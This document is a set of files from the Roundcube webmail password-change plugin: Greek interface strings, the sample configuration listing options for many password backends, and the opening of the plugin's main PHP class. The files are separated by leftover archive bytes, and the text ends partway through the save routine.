$labels['curpasswd']  = 'Τρέχων κωδικός πρόσβασης:';
$labels['newpasswd']  = 'Νέος κωδικός πρόσβασης:';
$labels['confpasswd']  = 'Επιβέβαιωση κωδικού πρόσβασης:';
$messages['nopassword'] = 'Εισάγετε ένα νέο κωδικό.';
$messages['nocurpassword'] = 'Εισάγετε τον τρέχοντα κωδικό σας.';
$messages['passwordincorrect'] = 'Ο τρέχων κωδικός είναι λάθος.';
$messages['passwordinconsistency'] = 'Οι κωδικοί πρόσβασης δεν ταιριάζουν, προσπαθήστε ξανά.';
$messages['crypterror'] = 'Δεν μπόρεσε να αποθηκευτεί ο νέος κωδικός πρόσβασης. Η λειτουργία κρυπτογράφησης λείπει.';
$messages['connecterror'] = 'Δεν μπορεσε να αποθηκευτεί ο νέος κωδικός πρόσβασης. Σφάλμα σύνδεσης.';
$messages['internalerror'] = 'Δεν μπορεσε να αποθηκευτεί ο νέος κωδικός πρόσβασης. ';
$messages['passwordshort'] = 'Ο κωδικός πρόσβασης πρέπει να είναι τουλάχιστον $length χαρακτήρων.';
$messages['passwordweak'] = 'Ο κωδικός πρόσβασης πρέπει να περιλαμβάνει τουλάχιστον έναν αριθμό και ένα σημείο στίξης. ';
$messages['passwordtooweak'] = 'Το συνθηματικό είναι πολύ ασθενές.';
$messages['passwordnoseq'] = 'Το συνθηματικό δεν πρέπει να είναι μια ακολουθία όπως 123456 ή QWERTY.';
$messages['passwordnocommon'] = 'Το συνθηματικό δεν πρέπει να είναι μια κοινή λέξη ή όνομα.';
$messages['passwordforbidden'] = 'Ο κωδικός πρόσβασης περιέχει μη επιτρεπτούς χαρακτήρες. ';
$messages['firstloginchange'] = 'Αυτή είναι η πρώτη σας είσοδος. Παρακαλώ αλλάξτε το συνθηματικό σας.';
$messages['disablednotice'] = 'Το σύστημα βρίσκεται υπό συντήρηση και η αλλαγή του κωδικού πρόσβασης δεν είναι δυνατή αυτή τη στιγμή. Τα πάντα θα πρέπει να επανέλθουν σε κανονική λειτουργία σύντομα. Ζητούμε συγγνώμη για την όποια ταλαιπωρία.';
$messages['passwinhistory'] = 'Αυτό το συνθηματικό έχει ήδη χρησιμοποιηθεί.';
$messages['samepasswd'] = 'Το νέο συνθηματικό πρέπει να είναι διαφορετικό από το παλιό.';
$messages['passwdexpirewarning'] = 'Προσοχή! Το συνθηματικό σας θα λήξει σύντομα, αλλάξτε το πριν από $expirationdatetime.';
$messages['passwdexpired'] = 'Το συνθηματικό σας έληξε, πρέπει να το αλλάξετε τώρα!';
$messages['passwdconstraintviolation'] = 'Παραβίαση περιορισμών συνθηματικού. Το συνθηματικό είναι πιθανώς πολύ ασθενές.';
$messages['pwned_mustnotbedisclosed'] = 'Ο κωδικός πρόσβασης δεν πρέπει να είναι <a href="$href" target="_blank">ευρέως γνωστός</a>.';
$messages['pwned_isdisclosed'] = 'Αυτός ο κωδικός είναι ευρέως γνωστός.';
$messages['pwned_fetcherror'] = 'Αποτυχία επαλήθευσης της δύναμης του κωδικού πρόσβασης.';
PKh�\����(M(M$plugins/password/config.inc.php.distnu�[���<?php

// Password Plugin options
// -----------------------
// A driver to use for password change. Default: "sql".
// See README file for list of supported driver names.
$config['password_driver'] = 'sql';

// A driver to use for checking password strength. Default: null (disabled).
// See README file for list of supported driver names.
$config['password_strength_driver'] = null;

// Determine whether current password is required to change password.
// Default: false.
$config['password_confirm_current'] = true;

// Require the new password to be a certain length.
// set to blank to allow passwords of any length
$config['password_minimum_length'] = 8;

// Require the new password to have at least the specified strength score.
// Note: Password strength is scored from 1 (week) to 5 (strong).
$config['password_minimum_score'] = 0;

// Enables logging of password changes into logs/password
$config['password_log'] = false;

// Array of login exceptions for which password change
// will be not available (no Password tab in Settings)
$config['password_login_exceptions'] = null;

// Array of hosts that support password changing.
// Listed hosts will feature a Password option in Settings; others will not.
// Example: ['mail.example.com', 'mail2.example.org'];
// Default is NULL (all hosts supported).
$config['password_hosts'] = null;

// Enables saving the new password even if it matches the old password. Useful
// for upgrading the stored passwords after the encryption scheme has changed.
$config['password_force_save'] = false;

// Enables forcing new users to change their password at their first login.
$config['password_force_new_user'] = false;

// Password hashing/crypting algorithm.
// Possible options: des-crypt, ext-des-crypt, md5-crypt, blowfish-crypt,
// sha256-crypt, sha512-crypt, md5, sha, smd5, ssha, ssha256, ssha512, samba, ad, dovecot, clear.
// Also supported are password_hash() algoriths: hash-bcrypt, hash-argon2i, hash-argon2id.
// Default: 'clear' (no hashing)
// For details see password::hash_password() method.
$config['password_algorithm'] = 'clear';

// Additional options for password hashing function(s).
// For password_hash()-based passwords see https://www.php.net/manual/en/function.password-hash.php
// It can be used to set the Blowfish algorithm cost, e.g. ['cost' => 12]
$config['password_algorithm_options'] = [];

// Password prefix (e.g. {CRYPT}, {SHA}) for passwords generated
// using password_algorithm above. Default: empty.
$config['password_algorithm_prefix'] = '';

// Path for dovecotpw/doveadm-pw (if not in the $PATH).
// Used for password_algorithm = 'dovecot'.
// $config['password_dovecotpw'] = '/usr/local/sbin/doveadm pw'; // for dovecot-2.x
$config['password_dovecotpw'] = '/usr/local/sbin/dovecotpw'; // for dovecot-1.x

// Dovecot password scheme.
// Used for password_algorithm = 'dovecot'.
$config['password_dovecotpw_method'] = 'CRAM-MD5';

// Enables use of password with method prefix, e.g. {MD5}$1$LUiMYWqx$fEkg/ggr/L6Mb2X7be4i1/
// when using password_algorithm=dovecot
$config['password_dovecotpw_with_method'] = false;

// Number of rounds for the sha256 and sha512 crypt hashing algorithms.
// Must be at least 1000. If not set, then the number of rounds is left up
// to the crypt() implementation. On glibc this defaults to 5000.
// Be aware, the higher the value, the longer it takes to generate the password hashes.
//$config['password_crypt_rounds'] = 50000;

// This option temporarily disables the password change functionality.
// Use it when the users database server is in maintenance mode or something like that.
// You can set it to TRUE/FALSE or a text describing the reason
// which will replace the default.
$config['password_disabled'] = false;

// Various drivers/setups use different format of the username.
// This option allows you to force specified format use. Default: '%u'.
// Supported variables:
//     %u - full username,
//     %l - the local part of the username (in case the username is an email address)
//     %d - the domain part of the username (in case the username is an email address)
// Note: This may no apply to some drivers implementing their own rules, e.g. sql.
$config['password_username_format'] = '%u';

// Options passed when creating Guzzle HTTP client, used to access various external APIs.
// This will overwrite global http_client settings. For example:
// [
//   'timeout' => 10,
//   'proxy' => 'tcp://localhost:8125',
// ]
$config['password_http_client'] = [];


// SQL Driver options
// ------------------
// PEAR database DSN for performing the query. By default
// Roundcube DB settings are used.
// Supported replacement variables:
// %h - user's IMAP hostname
// %n - hostname ($_SERVER['SERVER_NAME'])
// %t - hostname without the first part
// %d - domain (http hostname $_SERVER['HTTP_HOST'] without the first part)
// %z - IMAP domain (IMAP hostname without the first part)
$config['password_db_dsn'] = '';

// The SQL query used to change the password.
// The query can contain the following macros that will be expanded as follows:
//      %p is replaced with the plaintext new password
//      %P is replaced with the crypted/hashed new password
//         according to configured password_algorithm
//      %o is replaced with the old (current) password
//      %O is replaced with the crypted/hashed old (current) password
//         according to configured password_algorithm
//      %h is replaced with the imap host (from the session info)
//      %u is replaced with the username (from the session info)
//      %l is replaced with the local part of the username
//         (in case the username is an email address)
//      %d is replaced with the domain part of the username
//         (in case the username is an email address)
// Escaping of macros is handled by this module.
// Default: "SELECT update_passwd(%P, %u)"
$config['password_query'] = 'SELECT update_passwd(%P, %u)';

// By default domains in variables are using unicode.
// Enable this option to use punycoded names
$config['password_idn_ascii'] = false;


// Poppassd Driver options
// -----------------------
// The host which changes the password (default: localhost)
// Supported replacement variables:
//   %n - hostname ($_SERVER['SERVER_NAME'])
//   %t - hostname without the first part
//   %d - domain (http hostname $_SERVER['HTTP_HOST'] without the first part)
//   %h - IMAP host
//   %z - IMAP domain without first part
//   %s - domain name after the '@' from e-mail address provided at login screen
$config['password_pop_host'] = 'localhost';

// TCP port used for poppassd connections (default: 106)
$config['password_pop_port'] = 106;


// SASL Driver options
// -------------------
// Additional arguments for the saslpasswd2 call
$config['password_saslpasswd_args'] = '';


// LDAP, LDAP_SIMPLE and LDAP_EXOP Driver options
// -----------------------------------
// LDAP server name to connect to.
// You can provide one or several hosts in an array in which case the hosts are tried from left to right.
// Example: ['ldap1.example.com', 'ldap2.example.com'];
// Default: 'localhost'
$config['password_ldap_host'] = 'localhost';

// LDAP server port to connect to
// Default: '389'
$config['password_ldap_port'] = '389';

// TLS is started after connecting
// Using TLS for password modification is recommended.
// Default: false
$config['password_ldap_starttls'] = false;

// LDAP version
// Default: '3'
$config['password_ldap_version'] = '3';

// LDAP base name (root directory)
// Example: 'dc=example,dc=com'
$config['password_ldap_basedn'] = 'dc=example,dc=com';

// LDAP connection method
// There are two connection methods for changing a user's LDAP password.
// 'user': use user credential (recommended, require password_confirm_current=true)
// 'admin': use admin credential (this mode require password_ldap_adminDN and password_ldap_adminPW)
// Default: 'user'
$config['password_ldap_method'] = 'user';

// LDAP Admin DN
// Used only in admin connection mode
// Default: null
$config['password_ldap_adminDN'] = null;

// LDAP Admin Password
// Used only in admin connection mode
// Default: null
$config['password_ldap_adminPW'] = null;

// LDAP user DN mask
// The user's DN is mandatory and as we only have his login,
// we need to re-create his DN using a mask
// '%login' will be replaced by the current roundcube user's login
// '%name' will be replaced by the current roundcube user's name part
// '%domain' will be replaced by the current roundcube user's domain part
// '%dc' will be replaced by domain name hierarchal string e.g. "dc=test,dc=domain,dc=com"
// Example: 'uid=%login,ou=people,dc=example,dc=com'
$config['password_ldap_userDN_mask'] = 'uid=%login,ou=people,dc=example,dc=com';

// LDAP search DN
// The DN roundcube should bind with to find out user's DN
// based on his login. Note that you should comment out the default
// password_ldap_userDN_mask setting for this to take effect.
// Use this if you cannot specify a general template for user DN with
// password_ldap_userDN_mask. You need to perform a search based on
// users login to find his DN instead. A common reason might be that
// your users are placed under different ou's like engineering or
// sales which cannot be derived from their login only.
$config['password_ldap_searchDN'] = 'cn=roundcube,ou=services,dc=example,dc=com';

// LDAP search password
// If password_ldap_searchDN is set, the password to use for
// binding to search for user's DN. Note that you should comment out the default
// password_ldap_userDN_mask setting for this to take effect.
// Warning: Be sure to set appropriate permissions on this file so this password
// is only accessible to roundcube and don't forget to restrict roundcube's access to
// your directory as much as possible using ACLs. Should this password be compromised
// you want to minimize the damage.
$config['password_ldap_searchPW'] = 'secret';

// LDAP search base
// If password_ldap_searchDN is set, the base to search in using the filter below.
// Note that you should comment out the default password_ldap_userDN_mask setting
// for this to take effect.
$config['password_ldap_search_base'] = 'ou=people,dc=example,dc=com';

// LDAP search filter
// If password_ldap_searchDN is set, the filter to use when
// searching for user's DN. Note that you should comment out the default
// password_ldap_userDN_mask setting for this to take effect.
// '%login' will be replaced by the current roundcube user's login
// '%name' will be replaced by the current roundcube user's name part
// '%domain' will be replaced by the current roundcube user's domain part
// '%dc' will be replaced by domain name hierarchal string e.g. "dc=test,dc=domain,dc=com"
// Example: '(uid=%login)'
// Example: '(&(objectClass=posixAccount)(uid=%login))'
$config['password_ldap_search_filter'] = '(uid=%login)';

// LDAP password hash type
// Standard LDAP encryption type which must be one of: crypt,
// ext_des, md5crypt, blowfish, md5, sha, smd5, ssha, ad, cram-md5 (dovecot style) or clear.
// Set to 'default' if you want to use method specified in password_algorithm option above.
// Multiple password Values can be generated by concatenating encodings with a +. E.g. 'cram-md5+crypt'
// Default: 'crypt'.
$config['password_ldap_encodage'] = 'crypt';

// LDAP password attribute
// Name of the ldap's attribute used for storing user password
// Default: 'userPassword'
$config['password_ldap_pwattr'] = 'userPassword';

// LDAP password force replace
// Force LDAP replace in cases where ACL allows only replace not read
// See http://pear.php.net/package/Net_LDAP2/docs/latest/Net_LDAP2/Net_LDAP2_Entry.html#methodreplace
// Default: true
$config['password_ldap_force_replace'] = true;

// LDAP Password Last Change Date
// Some places use an attribute to store the date of the last password change
// The date is measured in "days since epoch" (an integer value)
// Whenever the password is changed, the attribute will be updated if set (e.g. shadowLastChange)
$config['password_ldap_lchattr'] = '';

// LDAP Samba password attribute, e.g. sambaNTPassword
// Name of the LDAP's Samba attribute used for storing user password
$config['password_ldap_samba_pwattr'] = '';

// LDAP Samba Password Last Change Date attribute, e.g. sambaPwdLastSet
// Some places use an attribute to store the date of the last password change
// The date is measured in "seconds since epoch" (an integer value)
// Whenever the password is changed, the attribute will be updated if set
$config['password_ldap_samba_lchattr'] = '';

// LDAP PPolicy Driver options
// -----------------------------------

// LDAP Change password command - filename of the perl script
// Example: 'change_ldap_pass.pl'
$config['password_ldap_ppolicy_cmd'] = 'change_ldap_pass.pl';

// LDAP URI
// Example: 'ldap://ldap.example.com/ ldaps://ldap2.example.com:636/'
$config['password_ldap_ppolicy_uri'] = 'ldap://localhost/';

// LDAP base name (root directory)
// Example: 'dc=example,dc=com'
$config['password_ldap_ppolicy_basedn'] = 'dc=example,dc=com';

$config['password_ldap_ppolicy_searchDN'] = 'cn=someuser,dc=example,dc=com';

$config['password_ldap_ppolicy_searchPW'] = 'secret';

// LDAP search filter
// Example: '(uid=%login)'
// Example: '(&(objectClass=posixAccount)(uid=%login))'
$config['password_ldap_ppolicy_search_filter'] = '(uid=%login)';

// CA Certificate file if in URI is LDAPS connection
$config['password_ldap_ppolicy_cafile'] = '/etc/ssl/cacert.crt';



// DirectAdmin Driver options
// --------------------------
// The host which changes the password
// Use 'ssl://host' instead of 'tcp://host' when running DirectAdmin over SSL.
// The host can contain the following macros that will be expanded as follows:
//     %h is replaced with the imap host (from the session info)
//     %d is replaced with the domain part of the username (if the username is an email)
$config['password_directadmin_host'] = 'tcp://localhost';

// TCP port used for DirectAdmin connections
$config['password_directadmin_port'] = 2222;


// vpopmaild Driver options
// -----------------------
// The host which changes the password
$config['password_vpopmaild_host'] = 'localhost';

// TCP port used for vpopmaild connections
$config['password_vpopmaild_port'] = 89;

// Timeout used for the connection to vpopmaild (in seconds)
$config['password_vpopmaild_timeout'] = 10;


// cPanel Driver options
// ---------------------
// The cPanel Host name
$config['password_cpanel_host'] = 'host.domain.com';

// The cPanel port to use
$config['password_cpanel_port'] = 2096;


// XIMSS (Communigate server) Driver options
// -----------------------------------------
// Host name of the Communigate server
$config['password_ximss_host'] = 'mail.example.com';

// XIMSS port on Communigate server
$config['password_ximss_port'] = 11024;


// chpasswd Driver options
// ---------------------
// Command to use (see "Sudo setup" in README)
$config['password_chpasswd_cmd'] = 'sudo /usr/sbin/chpasswd 2> /dev/null';


// XMail Driver options
// ---------------------
$config['xmail_host'] = 'localhost';
$config['xmail_user'] = 'YourXmailControlUser';
$config['xmail_pass'] = 'YourXmailControlPass';
$config['xmail_port'] = 6017;


// hMail Driver options
// -----------------------
// Remote hMailServer configuration
// true:  HMailserver is on a remote box (php.ini: com.allow_dcom = true)
// false: Hmailserver is on same box as PHP
$config['hmailserver_remote_dcom'] = false;
// Windows credentials
$config['hmailserver_server'] = [
    'Server'   => 'localhost',      // hostname or ip address
    'Username' => 'administrator',  // windows username
    'Password' => 'password'        // windows user password
];


// pw_usermod Driver options
// --------------------------
// Use comma delimited exlist to disable password change for users.
// See "Sudo setup" in README file.
$config['password_pw_usermod_cmd'] = 'sudo /usr/sbin/pw usermod -h 0 -n';


// DBMail Driver options
// -------------------
// Additional arguments for the dbmail-users call
$config['password_dbmail_args'] = '-p sha512';


// Expect Driver options
// ---------------------
// Location of expect binary
$config['password_expect_bin'] = '/usr/bin/expect';

// Location of expect script (see helpers/passwd-expect)
$config['password_expect_script'] = '';

// Arguments for the expect script. See the helpers/passwd-expect file for details.
// This is probably a good starting default:
//   -telnet -host localhost -output /tmp/passwd.log -log /tmp/passwd.log
$config['password_expect_params'] = '';


// smb Driver options
// ---------------------
// Samba host (default: localhost)
// Supported replacement variables:
// %n - hostname ($_SERVER['SERVER_NAME'])
// %t - hostname without the first part
// %d - domain (http hostname $_SERVER['HTTP_HOST'] without the first part)
$config['password_smb_host'] = 'localhost';
// Location of smbpasswd binary (default: /usr/bin/smbpasswd)
$config['password_smb_cmd'] = '/usr/bin/smbpasswd';

// gearman driver options
// ---------------------
// Gearman host (default: localhost)
$config['password_gearman_host'] = 'localhost';


// Plesk/PPA Driver options
// --------------------
// You need to allow RCP for IP of roundcube-server in Plesk/PPA Panel

// Plesk RCP Host
$config['password_plesk_host'] = '10.0.0.5';

// Plesk RPC Username
$config['password_plesk_user'] = 'admin';

// Plesk RPC Password
$config['password_plesk_pass'] = 'password';

// Plesk RPC Port
$config['password_plesk_rpc_port'] = '8443';

// Plesk RPC Path
$config['password_plesk_rpc_path'] = 'enterprise/control/agent.php';


// kpasswd Driver options
// ---------------------
// Command to use
$config['password_kpasswd_cmd'] = '/usr/bin/kpasswd';


// Modoboa Driver options
// ---------------------
// put token number from Modoboa server
$config['password_modoboa_api_token'] = '';


// Mail-in-a-Box Driver options
// ----------------------------
// the url to the control panel of Mail-in-a-Box, e.g. https://box.example.com/admin/
$config['password_miab_url'] = '';
// name (email) of the admin user used to access api
$config['password_miab_user'] = '';
// password of the admin user used to access api
$config['password_miab_pass'] = '';


// TinyCP
// --------------
// TinyCP host, port, user and pass.
$config['password_tinycp_host'] = '';
$config['password_tinycp_port'] = '';
$config['password_tinycp_user'] = '';
$config['password_tinycp_pass'] = '';

// HTTP-API Driver options
// ---------------------

// Base URL of password change API. HTTPS recommended.
$config['password_httpapi_url'] = 'https://passwordserver.example.org';

// Method (also affects how vars are sent). Default: POST.
// GET is not recommended as passwords will appears in the remote webserver's access log
$config['password_httpapi_method'] = 'POST';

// GET or POST variable in which to put the username
$config['password_httpapi_var_user'] = 'user';

// GET or POST variable in which to put the current password
$config['password_httpapi_var_curpass'] = 'curpass';

// GET or POST variable in which to put the new password
$config['password_httpapi_var_newpass'] = 'newpass';

// HTTP codes other than 2xx are assumed to mean the password changed failed.
// Optionally, if set, this variable additionally checks the body of the 2xx response to
// confirm the change. It's a preg_match regular expression.
$config['password_httpapi_expect'] = '/^ok$/i';


// dovecot_passwdfile
// ------------------
$config['password_dovecot_passwdfile_path'] = '/etc/mail/imap.passwd';


// Mailcow driver options
// ----------------------
$config['password_mailcow_api_host'] = 'localhost';
$config['password_mailcow_api_token'] = '';
PKh�\�n9}w}wplugins/password/password.phpnu�[���<?php

/**
 * Password Plugin for Roundcube
 *
 * @author Aleksander Machniak <alec@alec.pl>
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

define('PASSWORD_CRYPT_ERROR', 1);
define('PASSWORD_ERROR', 2);
define('PASSWORD_CONNECT_ERROR', 3);
define('PASSWORD_IN_HISTORY', 4);
define('PASSWORD_CONSTRAINT_VIOLATION', 5);
define('PASSWORD_COMPARE_CURRENT', 6);
define('PASSWORD_COMPARE_NEW', 7);
define('PASSWORD_SUCCESS', 0);

/**
 * Change password plugin
 *
 * Plugin that adds functionality to change a users password.
 * It provides common functionality and user interface and supports
 * several backends to finally update the password.
 *
 * For installation and configuration instructions please read the README file.
 *
 * @author Aleksander Machniak
 */
class password extends rcube_plugin
{
    public $task    = '?(?!logout).*';
    public $noframe = true;
    public $noajax  = true;

    private $newuser = false;
    private $drivers = [];
    private $rc;


    function init()
    {
        $this->rc = rcmail::get_instance();

        $this->load_config();

        // update deprecated password_require_nonalpha option removed 20181007
        if ($this->rc->config->get('password_minimum_score') === null && $this->rc->config->get('password_require_nonalpha')) {
            $this->rc->config->set('password_minimum_score', 2);
        }

        if ($this->rc->task == 'settings') {
            if (!$this->check_host_login_exceptions()) {
                return;
            }

            $this->add_texts('localization/');

            $this->add_hook('settings_actions', [$this, 'settings_actions']);

            $this->register_action('plugin.password', [$this, 'password_init']);
            $this->register_action('plugin.password-save', [$this, 'password_save']);
        }

        if ($this->rc->config->get('password_force_new_user')) {
            if ($this->rc->config->get('newuserpassword') && $this->check_host_login_exceptions()) {
                if (!($this->rc->task == 'settings' && strpos($this->rc->action, 'plugin.password') === 0)) {
                    $this->rc->output->command('redirect', '?_task=settings&_action=plugin.password&_first=1', false);
                }
            }

            $this->add_hook('user_create', [$this, 'user_create']);
            $this->add_hook('login_after', [$this, 'login_after']);
        }
    }

    function settings_actions($args)
    {
        // register as settings action
        $args['actions'][] = [
            'action' => 'plugin.password',
            'class'  => 'password',
            'label'  => 'password',
            'title'  => 'changepasswd',
            'domain' => 'password',
        ];

        return $args;
    }

    function password_init()
    {
        $this->register_handler('plugin.body', [$this, 'password_form']);

        $this->rc->output->set_pagetitle($this->gettext('changepasswd'));

        if (rcube_utils::get_input_value('_first', rcube_utils::INPUT_GET)) {
            $this->rc->output->command('display_message', $this->gettext('firstloginchange'), 'notice');
        }
        else if (!empty($_SESSION['password_expires'])) {
            if ($_SESSION['password_expires'] == 1) {
                $this->rc->output->command('display_message', $this->gettext('passwdexpired'), 'error');
            }
            else {
                $this->rc->output->command('display_message', $this->gettext([
                        'name' => 'passwdexpirewarning',
                        'vars' => ['expirationdatetime' => $_SESSION['password_expires']]
                    ]), 'warning');
            }
        }

        $this->rc->output->send('plugin');
    }

    function password_save()
    {
        $this->register_handler('plugin.body', [$this, 'password_form']);

        $this->rc->output->set_pagetitle($this->gettext('changepasswd'));

        $confirm         = $this->rc->config->get('password_confirm_current');
        $required_length = (int) $this->rc->config->get('password_minimum_length', 8);
        $force_save      = $this->rc->config->get('password_force_save');

        if (($confirm && !isset($_POST['_curpasswd'])) || !isset($_POST['_newpasswd']) || !strlen($_POST['_newpasswd'])) {
            $this->rc->output->command('display_message', $this->gettext('nopassword'), 'error');
        }
        else {
            $charset    = strtoupper($this->rc->config->get('password_charset', 'UTF-8'));
            $rc_charset = strtoupper($this->rc->output->get_charset());

            $sesspwd = $this->rc->decrypt($_SESSION['password']);
            $curpwd = $confirm ? rcube_utils::get_input_string('_curpasswd', rcube_utils::INPUT_POST, true, $charset) : $sesspwd;
            $newpwd = rcube_utils::get_input_string('_newpasswd', rcube_utils::INPUT_POST, true);
            $conpwd = rcube_utils::get_input_string('_confpasswd', rcube_utils::INPUT_POST, true);

            // check allowed characters according to the configured 'password_charset' option
            // by converting the password entered by the user to this charset and back to UTF-8
            $orig_pwd = $newpwd;
            $chk_pwd  = rcube_charset::convert($orig_pwd, $rc_charset, $charset);
            $chk_pwd  = rcube_charset::convert($chk_pwd, $charset, $rc_charset);

            // We're doing this for consistence with Roundcube core
            $newpwd = rcube_charset::convert($newpwd, $rc_charset, $charset);
            $conpwd = rcube_charset::convert($conpwd, $rc_charset, $charset);

            if ($chk_pwd != $orig_pwd || preg_match('/[\x00-\x1F\x7F]/', $newpwd)) {
                $this->rc->output->command('display_message', $this->gettext('passwordforbidden'), 'error');
            }
            // other passwords validity checks
            else if ($conpwd != $newpwd) {
                $this->rc->output->command('display_message', $this->gettext('passwordinconsistency'), 'error');
            }
            else if ($confirm && ($res = $this->_compare($sesspwd, $curpwd, PASSWORD_COMPARE_CURRENT))) {
                $this->rc->output->command('display_message', $res, 'error');
            }
            else if ($required_length && strlen($newpwd) < $required_length) {
                $this->rc->output->command('display_message', $this->gettext(
                    ['name' => 'passwordshort', 'vars' => ['length' => $required_length]]), 'error');
            }
            else if ($res = $this->_check_strength($newpwd)) {
                $this->rc->output->command('display_message', $res, 'error');
            }
            // password is the same as the old one, warn user, return error
            else if (!$force_save && ($res = $this->_compare($sesspwd, $newpwd, PASSWORD_COMPARE_NEW))) {
                $this->rc->output->command('display_message', $res, 'error');
            }
            // try to save the password
            else if (!($res = $this->_save($curpwd, $newpwd))) {
                $this->rc->output->command('display_message', $this->gettext('successfullysaved'), 'confirmation');

                // allow additional actions after password change (e.g. reset some backends)
                $plugin = $this->rc->plugins->exec_hook('password_change', [
                        'old_pass' => $curpwd,
                        'new_pass' => $newpwd
                ]);

                // Reset session password
                $_SESSION['password'] = $this->rc->encrypt($plugin['new_pass']);

                if ($this->rc->config->get('newuserpassword')) {
                    $this->rc->user->save_prefs(['newuserpassword' => false]);
                }

                // Log password change
                if ($this->rc->config->get('password_log')) {
                    rcube::write_log('password', sprintf('Password changed for user %s (ID: %d) from %s',
                        $this->rc->get_user_name(), $this->rc->user->ID, rcube_utils::remote_ip()));
                }

                // Remove expiration date/time
                $this->rc->session->remove('password_expires');
            }
            else {
                $this->rc->output->command('display_message', $res, 'error');
            }
        }

        $this->rc->overwrite_action('plugin.password');
        $this->rc->output->send('plugin');
    }

    function password_form()
    {
        // add some labels to client
        $this->rc->output->add_label(
            'password.nopassword',
            'password.nocurpassword',
            'password.passwordinconsistency'
        );

        $form_disabled = $this->rc->config->get('password_disabled');

        $this->rc->output->set_env('product_name', $this->rc->config->get('product_name'));
        $this->rc->output->set_env('password_disabled', !empty($form_disabled));

        $table = new html_table(['cols' => 2, 'class' => 'propform']);

        if ($this->rc->config->get('password_confirm_current')) {
            // show current password selection
            $field_id = 'curpasswd';
            $input_curpasswd = new html_passwordfield([
                    'name'         => '_curpasswd',
                    'id'           => $field_id,
                    'size'         => 20,
                    'autocomplete' => 'off',
            ]);

            $table->add('title', html::label($field_id, rcube::Q($this->gettext('curpasswd'))));
            $table->add(null, $input_curpasswd->show());
        }

        // show new password selection
        $field_id = 'newpasswd';
        $input_newpasswd = new html_passwordfield([
                'name'         => '_newpasswd',
                'id'           => $field_id,
                'size'         => 20,
                'autocomplete' => 'off',
        ]);

        $table->add('title', html::label($field_id, rcube::Q($this->gettext('newpasswd'))));
        $table->add(null, $input_newpasswd->show());

        // show confirm password selection
        $field_id = 'confpasswd';
        $input_confpasswd = new html_passwordfield([
                'name'         => '_confpasswd',
                'id'           => $field_id,
                'size'         => 20,
                'autocomplete' => 'off',
        ]);

        $table->add('title', html::label($field_id, rcube::Q($this->gettext('confpasswd'))));
        $table->add(null, $input_confpasswd->show());

        $rules = '';

        $required_length = (int) $this->rc->config->get('password_minimum_length', 8);
        if ($required_length > 0) {
            $rules .= html::tag('li', ['class' => 'required-length d-block'], $this->gettext([
                'name' => 'passwordshort',
                'vars' => ['length' => $required_length]
            ]));
        }

        if ($msgs = $this->_strength_rules()) {
            foreach ($msgs as $msg) {
                $rules .= html::tag('li', ['class' => 'strength-rule d-block'], $msg);
            }
        }

        if (!empty($rules)) {
            $rules = html::tag('ul', ['id' => 'ruleslist', 'class' => 'hint proplist'], $rules);
        }

        $disabled_msg = '';
        if ($form_disabled) {
            $disabled_msg = is_string($form_disabled) ? $form_disabled : $this->gettext('disablednotice');
            $disabled_msg = html::div(['class' => 'boxwarning', 'id' => 'password-notice'], $disabled_msg);
        }

        $submit_button = $this->rc->output->button([
                'command' => 'plugin.password-save',
                'class'   => 'button mainaction submit',
                'label'   => 'save',
        ]);
        $form_buttons = html::p(['class' => 'formbuttons footerleft'], $submit_button);

        $this->rc->output->add_gui_object('passform', 'password-form');

        $this->include_script('password.js');

        $form = $this->rc->output->form_tag([
                'id'     => 'password-form',
                'name'   => 'password-form',
                'method' => 'post',
                'action' => './?_task=settings&_action=plugin.password-save',
            ],
            $disabled_msg . $table->show() . $rules
        );

        return html::div(['id' => 'prefs-title', 'class' => 'boxtitle'], $this->gettext('changepasswd'))
            . html::div(['class' => 'box formcontainer scroller'],
                html::div(['class' => 'boxcontent formcontent'], $form) . $form_buttons
            );
    }

    private function _compare($curpwd, $newpwd, $type)
    {
        $driver = $this->_load_driver();

        if (!$driver) {
            $result = $this->gettext('internalerror');
        }
        else if (method_exists($driver, 'compare')) {
            $result = $driver->compare($curpwd, $newpwd, $type);
        }
        else {
            switch ($type) {
            case PASSWORD_COMPARE_CURRENT:
                $result = $curpwd != $newpwd ? $this->gettext('passwordincorrect') : null;
                break;
            case PASSWORD_COMPARE_NEW:
                $result = $curpwd == $newpwd ? $this->gettext('samepasswd') : null;
                break;
            default:
                $result = $this->gettext('internalerror');
            }
        }

        return $result;
    }

    private function _strength_rules()
    {
        $result = null;

        if (($driver = $this->_load_driver('strength')) && method_exists($driver, 'strength_rules')) {
            $result = $driver->strength_rules();
        }
        else if ($this->rc->config->get('password_minimum_score') > 1) {
            $result = $this->gettext('passwordweak');
        }

        if (!is_array($result)) {
            $result = [$result];
        }

        return $result;
    }

    private function _check_strength($passwd)
    {
        $min_score = $this->rc->config->get('password_minimum_score');

        if (!$min_score) {
            return;
        }

        if (($driver = $this->_load_driver('strength')) && method_exists($driver, 'check_strength')) {
            list($score, $reason) = $driver->check_strength($passwd);
        }
        else {
            $score = (!preg_match("/[0-9]/", $passwd) || !preg_match("/[^A-Za-z0-9]/", $passwd)) ? 1 : 5;
        }

        if ($score < $min_score) {
            return $this->gettext('passwordtooweak') . (!empty($reason) ? " $reason" : '');
        }
    }

    private function _save($curpass, $passwd)
    {
        if (!($driver = $this->_load_driver())) {
            return $this->gettext('internalerror');
        }

        // Make sure the current user password is still valid
        // by logging in to the IMAP server (#8142)
        if (!$this->rc->get_storage()->check_connection()) {
            return $this->gettext('internalerror');
        }

        $result  = $driver->save($curpass, $passwd, self::username());
        $message = '';

        if (is_array($result)) {
            $message = $result['message'];
            $result  = $result['code'];
        }

        switch ($result) {
            case PASSWORD_SUCCESS:
                return;
            case PASSWORD_CRYPT_ERROR:
                $reason = $this->gettext('crypterror');
                break;
            case PASSWORD_CONNECT_ERROR:
                $reason = $this->gettext('connecterror');
                break;
            case PASSWORD_IN_HISTORY:
                $reason = $this->gettext('passwdinhistory');
                break;
            case PASSWORD_CONSTRAINT_VIOLATION:
                $reason = $this->gettext('passwdconstraintviolation');
                break;
            case PASSWORD_ERROR:
            default:
